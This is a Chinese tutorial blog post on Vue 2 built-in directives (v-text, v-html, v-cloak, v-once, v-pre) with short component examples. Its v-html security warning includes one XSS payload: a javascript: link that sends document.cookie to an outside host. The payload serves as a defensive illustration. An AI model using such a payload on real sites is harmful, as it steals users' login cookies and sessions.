vue2之常用内置指令

元子不圆呀
166 阅读2分钟

开启掘金成长之旅！这是我参与「掘金日新计划 · 12 月更文挑战」的第14天，点击查看活动详情

前面我们已经学习过了v-model, v-bind, v-on, v-if, v-else-if, v-show等，这篇我们来学习一下其他的内置指令

v-text指令

v-text指令是来更新元素的文本内容，如果是更新部分文本内容则需要使用插值语法。 它和插值语法的差别是它可以替换元素的文本节点，而插值语法不可以。

<template>
  <div class="test-wrapper">
    <div v-text="msg"></div>
  </div>
</template>
<script>
export default {
  data () {
    return {
      msg: '这是一段你想显示在元素中的文本'
    };
  },
  methods: {
  }
};
</script>

效果如下：

image.png

v-html指令

v-html指令是用来更新元素的innerHTML，也就是说可以向指定节点中渲染包括html结构的内容。

1. 基本用法

<template>
  <div class="test-wrapper">
    <div v-html="str"></div>
  </div>
</template>
<script>
export default {
  data () {
    return {
      str: '<h1>我是html文本内容</h1>'
    };
  },
  methods: {
  }
};
</script>

效果如下：

image.png

2. 与插值语法的区别

  1. v-html会替换掉节点中所有的内容，插值语法不会
  2. v-html可以识别html结构

3. 特别注意

  1. 在网站上动态渲染任意html是非常危险的，容易导致xss攻击。
  2. 一定要在可信的内容上使用v-html，不要在用户提交的内容上设置v-html。

像下面这种，在v-html里面注入脚本语法，获取登录cookie信息等，导致xss攻击

<template>
  <div class="test-wrapper">
    <div v-html="str"></div>
  </div>
</template>
<script>
export default {
  data () {
    return {
      str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击我跳转到别的网页</a>'
    };
  },
  methods: {
  }
};
</script>

效果如下：

image.png

v-cloak指令

v-cloak指令保持在元素上直到关联实例结束编译。

<template>
  <div class="test-wrapper">
    <div v-cloak>{{msg}}</div>
  </div>
</template>
<script>
export default {
  data () {
    return {
      msg: '这时一段需要被转换的文本'
    };
  },
  methods: {
  }
};

当网络环境不好的时候或者受到阻塞的时候，此时div上面会有一个v-cloak属性，此时{{msg}}还没有解析渲染处理。

当网络环境良好，页面渲染时div上的v-cloak会被删除，此时msg模板也能正常渲染出来。

效果如下：

1670665180417.png

结合css一起使用

为了优化上面在网络不好的情况下页面能正常显示, 可以在没有渲染好的情况下不显示

[v-cloak] {
    display: none;
}

v-once指令

v-once指令只渲染元素和组件一次。随后的重新渲染，元素/组件及其所有的子节点将被视为静态内容并跳过。这可以用于优化更新性能

<template>
  <div class="test-wrapper">
    <div v-once>只渲染一次：{{number}}</div>
    <div>一直渲染：{{number}}</div>
    <button @click="addNumber">增加number</button>
  </div>
</template>
<script>
export default {
  data () {
    return {
      number: 1
    };
  },
  methods: {
    addNumber() {
      this.number++;
    }
  }
};
</script>

效果如下： 增加number值，只渲染一次的元素不能再次被渲染

1670666246151.png

v-pre指令

v-pre指令可以跳过这个元素和它的子元素的编译过程。可以用来显示原始的Mustache标签。跳过大量没有节点。

<template>
  <div class="test-wrapper">
    <div v-pre>我是一段纯文本</div>
    <div v-pre>我是不渲染的数值{{number}}</div>
    <div>我是渲染的数值{{number}}</div>
  </div>
</template>
<script>
export default {
  data () {
    return {
      number: 1
    };
  }
};
</script>

效果如下：

1670667929566.png

如果节点没有使用插值语法，是纯文本的话，可以使用这个指令，跳过编译的过程，如果组件中存在大量这种节点，使用v-pre指令可以提高性能。

avatar
文章
阅读
粉丝